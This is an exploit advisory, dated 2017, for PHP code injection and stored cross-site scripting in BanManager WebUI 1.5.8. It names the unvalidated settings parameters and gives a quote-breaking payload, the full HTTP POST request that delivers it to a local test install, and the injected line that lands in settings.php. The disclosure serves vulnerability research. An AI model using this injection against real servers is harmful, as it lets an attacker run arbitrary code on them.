BanManager WebUI 1.5.8 Code Injection / Cross Site Scripting

2017.05.11
Credit: HaHwul
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79
CWE-94

BanManager WebUI 1.5.8 - PHP Code Injection & Stored XSS # Exploit Title: BanManager WebUI - PHP Code Injection & Stored XSS # Date: 2017-05-10 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: https://github.com/BanManagement/BanManager-WebUI # Software Link: https://github.com/BanManagement/BanManager-WebUI.git # Version: 1.5.8 # Tested on: Debian ### Vulnerability Code executed via the updatesetting action will modify 'setting.php'. In the process, there is not verification of the input value, so it is possible to insert php code. ### Vulnerable param PHP Code Injection & Stored XSS - footer - buttons_before - buttons_after Only PHP Code Injection - banextra - muteextra ### Attack code PAYLOAD: aaaaaa';$hacker=hwul//inject_php_code'; POST /vul_test/BanManager-WebUI/index.php?action=updatesettings&ajax=true&authid=3da541559918a808c2402bba5012f6c60b27661c HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1/vul_test/BanManager-WebUI/index.php?action=admin Content-Length: 168 Cookie: BanManagement=epnsf8sut1o05ps574h4861gu7 DNT: 1 Connection: keep-alive type=mainsettings&iframe=on&utf8=on&footer=aaaaaa'%3B%24hacker%3Dhwul%2F%2Finject_php_code&latestbans=on&latestmutes=on&latestwarnings=on&buttons_before=&buttons_after= ### Result(in settings.php) $settings['password'] = 'asdf'; // ACP Password (Keep it strong) $settings['footer'] = 'aaaaaa';$hacker=hwul//inject_php_code'; $settings['admin_link'] = true; // Show the admin link in the footer of all page $settings['bm_info'] = true; // Show ban management infomation aside 'Account Status'


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